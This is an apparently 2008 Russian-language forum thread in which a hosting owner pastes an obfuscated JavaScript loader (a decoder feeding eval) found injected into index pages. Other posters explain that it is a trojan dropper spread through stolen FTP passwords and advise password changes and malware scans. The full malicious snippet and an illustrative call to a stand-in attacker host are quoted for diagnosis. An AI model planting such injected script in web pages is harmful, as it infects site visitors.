У меня хостинг, где размещены много сайтов, недавно на страницах "index.*" заметил странный скрипт, такого никогда лично не внедрял, даже некоторые страницы становится неработоспособными, если появляется дополнительный код, подскажите, пожалуйста, суть существования этого скрипта, что бы смог предпринимать подходящие меры безопасности, понятное дело что внешняя программное обеспечение записывала этот код, а может и нет?

Код между скобками: "<script language=JavaScript>/*function varrban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,61,36,43,5,10,7,46,16,48,0,0,0,0,0,0,19,56,4,39,57,34,35,50,23,9,27,31,45,44,41,62,18,32,59,25,13,28,40,3,52,17,1,0,0,0,0,60,0,6,30,55,49,38,11,21,14,53,12,33,24,29,15,37,54,26,2,58,47,51,8,20,22,42,0);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(240^w&255);w>>=8;s-=2}else{s=6}}}eval®;}}varrban('6eNCwODkbnvkYPlkWp_iXONCgb1GwOD24pSobPVc65leBxIpHuUex5l2mxIXbaSCgpM2gqS28nVQ@pMXlPvkzy_cKKS2BxIdYPDQbRSoBOTkK0_iJcJ2BENcrOSkbPIp1aIklsLQYsIoKpIpS3L94FU9rC1pHfSoxaDiJKLX8KlewPveTf_9IWTegeDolPluZWjG8nvkIGSoTfToShvQUaSE5RDCbxNXhu_cSqNQYpSohKmp')*/</script><!-- logisticsmoldova.com -->"

ваш сайт взломан
скорее всего по фтп

Однозначно. А числа - коды букв, что-то типа "eval('window.send(\"http://www.fackerssite.ru\")');". Осторожней с ФТП.

Такой же случай был, я понял, что был взломан, но это не в ручную внедряют. Я понял это исходя из того, что при изменени прав на файлы (444) файлы  не переписывались...

значит дырка в другом месте CMS или в форуме или еще где-нить..

Это троян. 
В конец файла добавляется JavaScript код который в невидимом фрейме открывает страничку содержащую троян. 
В основном изменению подвергаются файлы с именами main, login, index и т.п. 
Доступ к фтп вредоносная программа получает путём кражи паролей с компьютера.

следует проверить компьютеры откуда осуществлялись доступы к этим проектам по ftp на наличие троянов и изменить пароли на ftp.

статьи по теме:
http://www.viruslist.com/ru/weblog?weblogid=207758625
http://www.viruslist.com/ru/viruses/encycl...?virusid=147349



Это сообщение отредактировал(а) comtat - 23.5.2008, 17:26

Присоединённый файл ( Кол-во скачиваний: 2 )
 patchc65o.rar 0,64 Kb

Если хостинг бесплатный, то может они специально добавляют скрипт, допустим чтоб размещать свою рекламу.